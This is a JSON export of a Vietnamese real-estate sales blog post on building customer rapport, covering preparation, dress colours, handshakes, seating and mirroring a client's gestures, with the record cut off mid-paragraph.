{"id":32675,"date":"2021-11-23T10:25:34","date_gmt":"2021-11-23T03:25:34","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=32675"},"modified":"2025-10-22T03:52:58","modified_gmt":"2025-10-21T20:52:58","slug":"cach-tao-thien-cam-trong-ban-hang","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/cach-tao-thien-cam-trong-ban-hang\/","title":{"rendered":"C\u00e1ch t\u1ea1o thi\u1ec7n c\u1ea3m trong b\u00e1n h\u00e0ng"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>Khi ti\u1ebfp x\u00fac v\u1edbi ng\u01b0\u1eddi l\u1ea1, b\u1ea1n mong mu\u1ed1n tr\u1edf th\u00e0nh m\u1ed9t v\u1ecb kh\u00e1ch \u0111\u01b0\u1ee3c ch\u00e0o \u0111\u00f3n hay m\u1ed9t ng\u01b0\u1eddi b\u1ecb xua \u0111u\u1ed5i? T\u1ea5t nhi\u00ean, m\u1ecdi ng\u01b0\u1eddi \u0111\u1ec1u mong mu\u1ed1n l\u00e0 m\u1ed9t v\u1ecb kh\u00e1ch \u0111\u01b0\u1ee3c \u0111\u00f3n ti\u1ebfp n\u1ed3ng h\u1eadu m\u1ed7i khi g\u1eb7p g\u1ee1 ai \u0111\u00f3.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110i\u1ec1u m\u1ea5u ch\u1ed1t \u1edf \u0111\u00e2y l\u00e0 b\u1ea1n c\u1ea7n t\u1ea1o \u0111\u01b0\u1ee3c thi\u1ec7n c\u1ea3m khi ti\u1ebfp x\u00fac v\u1edbi ng\u01b0\u1eddi kh\u00e1c. M\u1ecdi s\u1ef1 ph\u1ea3n kh\u00e1ng c\u1ee7a ng\u01b0\u1eddi kh\u00e1c \u0111\u1ec1u l\u00e0 d\u1ea5u hi\u1ec7u c\u1ee7a s\u1ef1 thi\u1ebfu thi\u1ec7n c\u1ea3m. M\u1ed9t khi b\u1ea1n kh\u00f4ng c\u00f3 \u0111\u01b0\u1ee3c thi\u1ec7n c\u1ea3m c\u1ee7a kh\u00e1ch h\u00e0ng, b\u1ea1n s\u1ebd kh\u00f4ng th\u1ec3 b\u00e1n \u0111\u01b0\u1ee3c b\u1ea5t c\u1ee9 th\u1ee9 g\u00ec, th\u1eadm ch\u00ed kh\u00f4ng c\u00f3 c\u01a1 h\u1ed9i n\u00f3i l\u1eddi m\u1edf \u0111\u1ea7u. Trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y, <a href=\"https:\/\/reti.vn\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/reti.vn\/\" rel=\"noreferrer noopener\">RETI<\/a> s\u1ebd chia s\u1ebb v\u1edbi b\u1ea1n c\u00e1ch t\u1ea1o thi\u1ec7n c\u1ea3m trong b\u00e1n h\u00e0ng, \u0111\u1eebng b\u1ecf qua nh\u00e9!<\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_84 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a282e81e959a\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a282e81e959a\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/cach-tao-thien-cam-trong-ban-hang\/#Tai_sao_can_tao_thien_cam\" >T\u1ea1i sao c\u1ea7n t\u1ea1o thi\u1ec7n c\u1ea3m?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/cach-tao-thien-cam-trong-ban-hang\/#Nguyen_tac_cua_viec_tao_thien_cam\" >Nguy\u00ean t\u1eafc c\u1ee7a vi\u1ec7c t\u1ea1o thi\u1ec7n c\u1ea3m<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/cach-tao-thien-cam-trong-ban-hang\/#Cach_tao_thien_cam_voi_khach_hang\" >C\u00e1ch t\u1ea1o thi\u1ec7n c\u1ea3m v\u1edbi kh\u00e1ch h\u00e0ng<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/cach-tao-thien-cam-trong-ban-hang\/#Truoc_khi_gap_mat_khach_hang\" >Tr\u01b0\u1edbc khi g\u1eb7p m\u1eb7t kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/cach-tao-thien-cam-trong-ban-hang\/#Trong_khi_gap_khach_hang\" >Trong khi g\u1eb7p kh\u00e1ch h\u00e0ng<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tai_sao_can_tao_thien_cam\"><\/span>T\u1ea1i sao c\u1ea7n t\u1ea1o thi\u1ec7n c\u1ea3m?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">T\u1ea1o thi\u1ec7n c\u1ea3m ph\u1ea3i \u0111\u01b0\u1ee3c duy tr\u00ec trong su\u1ed1t qu\u00e1 tr\u00ecnh b\u00e1n h\u00e0ng. Nh\u1edd nh\u1eefng c\u1ea3m t\u00ecnh b\u1ea1n c\u00f3 \u0111\u01b0\u1ee3c, b\u1ea1n s\u1ebd kh\u00e1m ph\u00e1 ra r\u1eb1ng kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n \u0111ang c\u1ea7n g\u00ec, h\u1ecd \u0111ang mong mu\u1ed1n \u0111i\u1ec1u g\u00ec. T\u1eeb \u0111\u00f3, b\u1ea1n c\u00f3 quy\u1ec1n ki\u1ec3m so\u00e1t qu\u00e1 tr\u00ecnh b\u00e1n h\u00e0ng. H\u00e3y \u0111i v\u00e0o th\u1ebf gi\u1edbi c\u1ee7a ng\u01b0\u1eddi kh\u00e1c tr\u01b0\u1edbc, \u0111\u1ed1i x\u1eed v\u1edbi h\u1ecd theo c\u00e1ch m\u00e0 h\u1ecd mong mu\u1ed1n \u0111\u01b0\u1ee3c \u0111\u1ed1i x\u1eed, lu\u00f4n t\u00f4n tr\u1ecdng h\u1ecd, thi\u1ec7n c\u1ea3m s\u1ebd \u0111\u01b0\u1ee3c x\u00e2y d\u1ef1ng tr\u00ean s\u1ef1 th\u1ea5u hi\u1ec3u v\u00e0 tin t\u01b0\u1edfng.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Con ng\u01b0\u1eddi th\u00edch n\u00f3i chuy\u1ec7n v\u1edbi ch\u00ednh m\u00ecnh nh\u1ea5t, v\u00ec v\u1eady c\u00e1ch \u0111\u01a1n gi\u1ea3n nh\u1ea5t \u0111\u1ec3 t\u1ea1o thi\u1ec7n c\u1ea3m l\u00e0 h\u00e3y t\u01b0\u1edfng t\u01b0\u1ee3ng b\u1ea1n ch\u00ednh l\u00e0 ng\u01b0\u1eddi b\u1ea1n \u0111ang n\u00f3i chuy\u1ec7n c\u00f9ng. H\u00e3y suy ngh\u0129 xem khi b\u1ea1n l\u00e0 ng\u01b0\u1eddi \u0111\u1ed1i di\u1ec7n, c\u00e1ch b\u1ea1n x\u1eed l\u00fd t\u00ecnh hu\u1ed1ng, x\u1eed l\u00fd th\u00f4ng tin v\u00e0 c\u1ea3m nh\u1eadn c\u1ee7a b\u1ea1n s\u1ebd nh\u01b0 th\u1ebf n\u00e0o?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u1ec3 t\u1ea1o \u0111\u01b0\u1ee3c thi\u1ec7n c\u1ea3m, \u0111\u1ea7u ti\u00ean b\u1ea1n ph\u1ea3i l\u00e0 ng\u01b0\u1eddi h\u1ee9ng th\u00fa, ng\u01b0\u1eddi bi\u1ebft l\u1eafng nghe. \u0110\u1ec3 th\u1ef1c hi\u1ec7n \u0111i\u1ec1u n\u00e0y b\u1ea1n c\u1ea7n \u0111\u1eb7t ra nhi\u1ec1u c\u00e2u h\u1ecfi m\u1edf. N\u1ebfu b\u1ea1n ch\u01b0a ngh\u0129 ra c\u00e2u h\u1ecfi ti\u1ebfp theo, ch\u1ec9 c\u1ea7n n\u00f3i: <em>&#8220;K\u1ec3 cho t\u00f4i nghe nhi\u1ec1u h\u01a1n \u0111\u01b0\u1ee3c kh\u00f4ng?&#8221;<\/em>. Ti\u1ebfp \u0111\u00f3, b\u1ea1n ph\u1ea3i ra m\u1ed1i quan t\u00e2m chung gi\u1eefa b\u1ea1n v\u00e0 ng\u01b0\u1eddi b\u1ea1n n\u00f3i chuy\u1ec7n c\u00f9ng. Sau \u0111\u00f3, b\u1ea1n ph\u1ea3i x\u00e1c nh\u1eadn l\u1ea1i nh\u1eefng g\u00ec b\u1ea1n nghe \u0111\u01b0\u1ee3c v\u00e0 h\u00e3y n\u00f3i nh\u1eefng \u0111i\u1ec1u \u0111\u00f3 v\u1edbi s\u1ef1 ch\u00e2n th\u00e0nh.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Nguyen_tac_cua_viec_tao_thien_cam\"><\/span>Nguy\u00ean t\u1eafc c\u1ee7a vi\u1ec7c t\u1ea1o thi\u1ec7n c\u1ea3m<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110i\u1ec1u b\u1ea1n \u0111ang c\u1ed1 g\u1eafng th\u1ef1c hi\u1ec7n \u0111\u00f3 l\u00e0 x\u00e2y d\u1ef1ng s\u1ef1 uy t\u00edn, s\u1ef1 tin t\u01b0\u1edfng trong l\u00f2ng kh\u00e1ch h\u00e0ng. Trong 4 gi\u00e2y \u0111\u1ea7u ti\u00ean, b\u1ea1n ph\u1ea3i th\u1ec3 hi\u1ec7n m\u00ecnh l\u00e0 m\u1ed9t ng\u01b0\u1eddi:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>C\u1ef1c k\u1ef3 nhi\u1ec7t huy\u1ebft, h\u1ee9ng th\u00fa v\u1edbi v\u1ea5n \u0111\u1ec1.<\/li><li>C\u1ef1c k\u1ef3 nh\u1ea1y b\u00e9n.<\/li><li>L\u00e0 chuy\u00ean gia trong l\u0129nh v\u1ef1c c\u1ee7a b\u1ea1n.<\/li><\/ul>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/tcgt.jpg\" alt=\"\" class=\"wp-image-32701 lazyload\" width=\"729\" height=\"366\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/tcgt.jpg 500w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/tcgt-300x151.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/tcgt-150x75.jpg 150w\" data-sizes=\"(max-width: 729px) 100vw, 729px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 729px; --smush-placeholder-aspect-ratio: 729\/366;\" \/><figcaption> Nguy\u00ean t\u1eafc c\u1ee7a vi\u1ec7c thu h\u00fat thi\u1ec7n c\u1ea3m l\u00e0 nh\u1eb1m t\u1ea1o d\u1ef1ng uy t\u00edn, s\u1ef1 tin t\u01b0\u1edfng trong l\u00f2ng kh\u00e1ch h\u00e0ng <\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">>>> <a href=\"https:\/\/reti.vn\/blog\/cam-nang-dong-hanh-cung-khach-hang-tiem-nang-hieu-qua-giai-ma-khach-hang-khi-ho-khong-noi\/\" target=\"_blank\" rel=\"noreferrer noopener\">C\u1ea9m nang \u0111\u1ed3ng h\u00e0nh c\u00f9ng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng hi\u1ec7u qu\u1ea3: Gi\u1ea3i m\u00e3 kh\u00e1ch h\u00e0ng khi h\u1ecd kh\u00f4ng n\u00f3i<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Cach_tao_thien_cam_voi_khach_hang\"><\/span>C\u00e1ch t\u1ea1o thi\u1ec7n c\u1ea3m v\u1edbi kh\u00e1ch h\u00e0ng<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Truoc_khi_gap_mat_khach_hang\"><\/span>Tr\u01b0\u1edbc khi g\u1eb7p m\u1eb7t kh\u00e1ch h\u00e0ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 nh\u1ea5t<\/em>, h\u00e3y \u0111\u1ea3m b\u1ea3o r\u1eb1ng b\u1ea1n hi\u1ec3u r\u00f5 v\u1ec1 s\u1ea3n ph\u1ea9m, hi\u1ec3u r\u00f5 nh\u1eefng l\u1ee3i \u00edch v\u00e0 t\u00ednh n\u0103ng m\u00e0 s\u1ea3n ph\u1ea9m c\u1ee7a b\u1ea1n c\u00f3 th\u1ec3 gi\u1ea3i quy\u1ebft v\u1ea5n \u0111\u1ec1 cho kh\u00e1ch h\u00e0ng, hi\u1ec3u r\u00f5 nh\u1eefng l\u1ee3i \u00edch m\u00e0 kh\u00e1ch h\u00e0ng s\u1ebd nh\u1eadn \u0111\u01b0\u1ee3c khi d\u00f9ng s\u1ea3n ph\u1ea9m c\u1ee7a b\u1ea1n. \u0110\u1ec3 bi\u1ebft l\u1ee3i \u00edch c\u1ee7a s\u1ea3n ph\u1ea9m r\u1ea5t \u0111\u01a1n gi\u1ea3n, h\u00e3y vi\u1ebft ra t\u1ea5t c\u1ea3 t\u00ednh n\u0103ng v\u00e0 tr\u1ea3 l\u1eddi c\u00e2u h\u1ecfi: <em>&#8220;Kh\u00e1ch h\u00e0ng s\u1ebd \u0111\u01b0\u1ee3c g\u00ec t\u1eeb t\u00ednh n\u0103ng n\u00e0y?&#8221;<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 hai<\/em>, \u0103n m\u1eb7c ph\u00f9 h\u1ee3p cho m\u1ed7i bu\u1ed5i g\u1eb7p:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>M\u00e0u h\u1ed3ng l\u00e0 m\u00e0u t\u1ed1t nh\u1ea5t \u0111\u1ec3 ch\u1ed1t sale.<\/li><li>M\u00e0u tr\u1eafng l\u00e0 m\u00e0u t\u1ed1t nh\u1ea5t \u0111\u1ec3 t\u1ea1o s\u1ef1 h\u1ee9ng th\u00fa cho kh\u00e1ch h\u00e0ng, n\u00f3 c\u0169ng l\u00e0 m\u00e0u c\u1ee7a s\u1ef1 chuy\u00ean nghi\u1ec7p.<\/li><li>M\u00e0u xanh l\u00e0 m\u00e0u t\u1ed1t nh\u1ea5t cho vi\u1ec7c l\u00e0m ch\u1ee7 c\u0103n ph\u00f2ng.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>L\u01b0u \u00fd:<\/strong> H\u00e3y \u0103n m\u1eb7c t\u01b0\u01a1ng \u0111\u01b0\u01a1ng, ho\u1eb7c ch\u1ec9nh t\u1ec1 h\u01a1n 1 ch\u00fat so v\u1edbi kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n. N\u1ebfu kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n m\u1eb7c comple, h\u00e3y m\u1eb7c comple v\u1eeba v\u1edbi c\u01a1 th\u1ec3 \u0111\u1ec3 b\u1ea1n d\u1ec5 d\u00e0ng th\u1ec3 hi\u1ec7n ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 khi n\u00f3i chuy\u1ec7n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 ba<\/em>, h\u00e3y \u0111\u1ea3m b\u1ea3o b\u1ea1n \u0111\u00e3 \u0111\u1eb7t m\u00ecnh v\u00e0o v\u1ecb tr\u00ed c\u1ee7a kh\u00e1ch h\u00e0ng v\u00e0 hi\u1ec3u kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n \u0111ang ngh\u0129 g\u00ec?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>C\u00e1c b\u01b0\u1edbc gi\u00fap \u0111i s\u00e2u v\u00e0 hi\u1ec3u suy ngh\u0129 kh\u00e1ch h\u00e0ng<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>B\u01b0\u1edbc 1:<\/em> T\u01b0\u1edfng t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng \u0111ang \u0111\u1ee9ng tr\u01b0\u1edbc m\u1eb7t b\u1ea1n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>B\u01b0\u1edbc 2:<\/em> T\u01b0\u1edfng t\u01b0\u1ee3ng ra nh\u1eefng t\u00ecnh hu\u1ed1ng kh\u00e1ch h\u00e0ng \u0111\u1ecbnh n\u00f3i \u0111\u1ebfn v\u1ea5n \u0111\u1ec1 c\u1ee7a h\u1ecd, khi \u0111\u00f3 b\u1ea1n h\u00e3y h\u00e0nh \u0111\u1ed9ng nh\u01b0 nh\u1eefng g\u00ec kh\u00e1ch h\u00e0ng \u0111\u1ecbnh n\u00f3i. G\u01b0\u01a1ng m\u1eb7t, \u0111i\u1ec7u b\u1ed9, c\u1ea3m x\u00fac, suy ngh\u0129 l\u00fac \u0111\u00f3 nh\u01b0 th\u1ebf n\u00e0o, ph\u1ea3n \u1ee9ng nh\u01b0 th\u1ebf n\u00e0o v\u1edbi m\u1ed7i c\u00e2u b\u1ea1n n\u00f3i?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>B\u01b0\u1edbc 3:<\/em> T\u00ecm c\u00e1ch tho\u00e1t ra kh\u1ecfi tr\u1ea1ng th\u00e1i \u0111\u00f3.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>C\u00e1c b\u01b0\u1edbc t\u01b0\u1edfng t\u01b0\u1ee3ng b\u1ea1n s\u1ebd l\u00e0m th\u1ebf n\u00e0o khi g\u1eb7p kh\u00e1ch h\u00e0ng?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>B\u01b0\u1edbc 1:<\/em> Khi b\u1eaft \u0111\u1ea7u g\u1eb7p kh\u00e1ch h\u00e0ng, b\u1ea1n s\u1ebd l\u00e0m th\u1ebf n\u00e0o? N\u00f3i nh\u1eefng g\u00ec, \u0111\u1ed9ng t\u00e1c c\u01a1 th\u1ec3 nh\u01b0 th\u1ebf n\u00e0o?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>B\u01b0\u1edbc 2:<\/em> B\u1ea1n t\u1ea1o thi\u1ec7n c\u1ea3m v\u1edbi kh\u00e1ch h\u00e0ng nh\u01b0 th\u1ebf n\u00e0o?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>B\u01b0\u1edbc 3:<\/em> B\u1ea1n x\u1eed l\u00fd nh\u1eefng t\u00ecnh hu\u1ed1ng trong c\u1ea3 cu\u1ed9c n\u00f3i chuy\u1ec7n \u0111\u00f3 nh\u01b0 th\u1ebf n\u00e0o? B\u1ea1n n\u00ean h\u00ecnh dung c\u00e0ng chi ti\u1ebft c\u00e0ng t\u1ed1t.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>B\u01b0\u1edbc 4:<\/em> H\u00e3y vi\u1ebft ra nh\u1eefng t\u00ecnh hu\u1ed1ng m\u00e0 c\u00f3 th\u1ec3 kh\u00e1ch h\u00e0ng s\u1ebd t\u1eeb ch\u1ed1i v\u00e0 c\u00e1ch x\u1eed l\u00fd c\u1ee7a b\u1ea1n ra sao.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ng\u01b0\u1eddi c\u00f3 n\u0103ng l\u01b0\u1ee3ng h\u01a1n lu\u00f4n gi\u00e0nh chi\u1ebfn th\u1eafng, v\u00ec v\u1eady h\u00e3y gi\u1eef n\u0103ng l\u01b0\u1ee3ng c\u1ee7a b\u1ea1n lu\u00f4n m\u1ea1nh h\u01a1n kh\u00e1ch h\u00e0ng b\u1eb1ng c\u00e1ch thi\u1ebft l\u1eadp 4 tr\u1ea1ng th\u00e1i d\u01b0\u1edbi \u0111\u00e2y tr\u01b0\u1edbc m\u1ed7i cu\u1ed9c b\u00e1n h\u00e0ng:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>S\u1ef1 t\u1ef1 tin.<\/li><li>S\u1ef1 ch\u1eafc ch\u1eafn.<\/li><li>S\u1ef1 t\u1eadp trung.<\/li><li>Gi\u1eef v\u1eefng c\u1ea3m x\u00fac nh\u01b0 l\u00e0 m\u1ed9t chuy\u00ean gia trong l\u0129nh v\u1ef1c c\u1ee7a b\u1ea1n.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">C\u00f3 th\u1ec3 b\u1ea1n quan t\u00e2m: <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&gt;&gt;&gt; <a href=\"https:\/\/reti.vn\/blog\/ky-nang-quyet-dinh-thanh-bai-trong-tu-van-khach-hang-kien-thuc-thi-truong-khu-vuc\/\" target=\"_blank\" data-type=\"URL\" rel=\"noreferrer noopener\">K\u1ef9 n\u0103ng quy\u1ebft \u0111\u1ecbnh th\u00e0nh b\u1ea1i trong t\u01b0 v\u1ea5n kh\u00e1ch h\u00e0ng: Ki\u1ebfn th\u1ee9c th\u1ecb tr\u01b0\u1eddng khu v\u1ef1c<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&gt;&gt;&gt; <a href=\"https:\/\/agent.reti.vn\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/agent.reti.vn\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/\" rel=\"noreferrer noopener\">C\u00e1ch ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng: C\u1ea9m nang d\u00e0nh cho CTV B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Trong_khi_gap_khach_hang\"><\/span>Trong khi g\u1eb7p kh\u00e1ch h\u00e0ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 nh\u1ea5t<\/em>, v\u1ec1 c\u00e1ch b\u1eaft tay:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Kh\u00f4ng qu\u00e1 ch\u1eb7t.<\/li><li>Gi\u1eef th\u0103ng b\u1eb1ng, kh\u00f4ng \u00e9p tay c\u1ee7a kh\u00e1ch h\u00e0ng nghi\u00eang v\u1ec1 m\u1ed9t ph\u00eda.<\/li><li>Giao ti\u1ebfp b\u1eb1ng m\u1eaft v\u1edbi kh\u00e1ch h\u00e0ng.<\/li><li>L\u1ef1c v\u1eeba \u0111\u1ee7, sao cho gi\u1ed1ng v\u1edbi l\u1ef1c c\u1ee7a kh\u00e1ch h\u00e0ng c\u00e0ng t\u1ed1t.<\/li><li>Kh\u00f4ng gi\u1eef qu\u00e1 l\u00e2u, kho\u1ea3ng 3 &#8211; 4 gi\u00e2y l\u00e0 ph\u00f9 h\u1ee3p nh\u1ea5t.<\/li><\/ul>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" data-src=\"http:\/\/hrinsider.vietnamworks.com\/wp-content\/uploads\/2019\/09\/Untitled-design-23.png\" alt=\"Ng\u00e0nh sales v\u00e0 7 y\u1ebfu t\u1ed1 c\u1ea7n c\u00f3 \u1edf m\u1ed9t ng\u01b0\u1eddi nh\u00e2n vi\u00ean sales gi\u1ecfi\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" \/><figcaption><em> Khi b\u1eaft tay h\u00e3y ch\u00fa \u00fd \u0111i\u1ec1u khi\u1ec3n l\u1ef1c c\u1ee7a m\u00ecnh<\/em><\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 hai<\/em>, v\u1ec1 v\u1ecb tr\u00ed ng\u1ed3i:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sau khi b\u1eaft tay, c\u00e1c b\u1ea1n h\u00e3y h\u1ecfi kh\u00e1ch h\u00e0ng m\u1ed9t v\u00e0i c\u00e2u chuy\u1ec7n, trong \u0111\u00f3 c\u00f3 nh\u1eefng c\u00e2u h\u1ecfi v\u1ec1 qu\u00e1 kh\u1ee9. Khi tr\u1ea3 l\u1eddi nh\u1eefng c\u00e2u h\u1ecfi v\u1ec1 qu\u00e1 kh\u1ee9 n\u00e0y, n\u1ebfu m\u1eaft c\u1ee7a kh\u00e1ch h\u00e0ng \u0111\u01b0a sang b\u00ean n\u00e0o, ch\u00fang ta h\u00e3y m\u1eddi kh\u00e1ch h\u00e0ng \u1edf v\u1ecb tr\u00ed sao cho ta c\u00f3 th\u1ec3 ng\u1ed3i h\u01b0\u1edbng ng\u01b0\u1ee3c l\u1ea1i v\u1edbi \u00e1nh m\u1eaft c\u1ee7a kh\u00e1ch h\u00e0ng. V\u00ed d\u1ee5 nh\u01b0 khi h\u1ecfi v\u1ec1 qu\u00e1 kh\u1ee9, m\u1eaft kh\u00e1ch h\u00e0ng \u0111\u01b0a sang b\u00ean tr\u00e1i, ta s\u1ebd m\u1eddi kh\u00e1ch h\u00e0ng b\u00ean tr\u00e1i \u0111\u1ec3 ta \u0111\u01b0\u1ee3c ng\u1ed3i b\u00ean tay ph\u1ea3i.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 ba<\/em>, \u0111\u1ec3 cho c\u01a1 th\u1ec3 ch\u00fang ta th\u1ef1c s\u1ef1 tr\u1edf th\u00e0nh c\u01a1 th\u1ec3 c\u1ee7a kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>L\u00e0m gi\u1ed1ng 75% nh\u1eefng \u0111\u1ed9ng t\u00e1c c\u1ee7a kh\u00e1ch h\u00e0ng (ch\u1ec9 l\u00e0m theo nh\u1eefng \u0111\u1ed9ng t\u00e1c l\u1ecbch s\u1ef1 c\u1ee7a h\u1ecd).<\/li><li>Lu\u00f4n gi\u1eef giao ti\u1ebfp m\u1eaft.<\/li><li>Ch\u1eadm h\u01a1n kho\u1ea3ng 4 &#8211; 5 gi\u00e2y cho m\u1ed7i \u0111\u1ed9ng t\u00e1c b\u1eaft ch\u01b0\u1edbc.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Sau m\u1ed9t v\u00e0i \u0111\u1ed9ng t\u00e1c, th\u1eed \u0111\u00e1nh gi\u00e1 xem kh\u00e1ch h\u00e0ng \u0111\u00e3 b\u1eaft \u0111\u1ea7u c\u00f3 thi\u1ec7n c\u1ea3m ch\u01b0a b\u1eb1ng c\u00e1ch l\u00e0m m\u1ed9t \u0111\u1ed9ng t\u00e1c kh\u00e1c v\u00e0 theo d\u00f5i xem kh\u00e1ch h\u00e0ng c\u00f3 l\u00e0m theo hay kh\u00f4ng? N\u1ebfu kh\u00f4ng, h\u00e3y quay l\u1ea1i ti\u1ebfp t\u1ee5c b\u1eaft ch\u01b0\u1edbc nh\u1eefng \u0111\u1ed9ng t\u00e1c c\u1ee7a kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<p 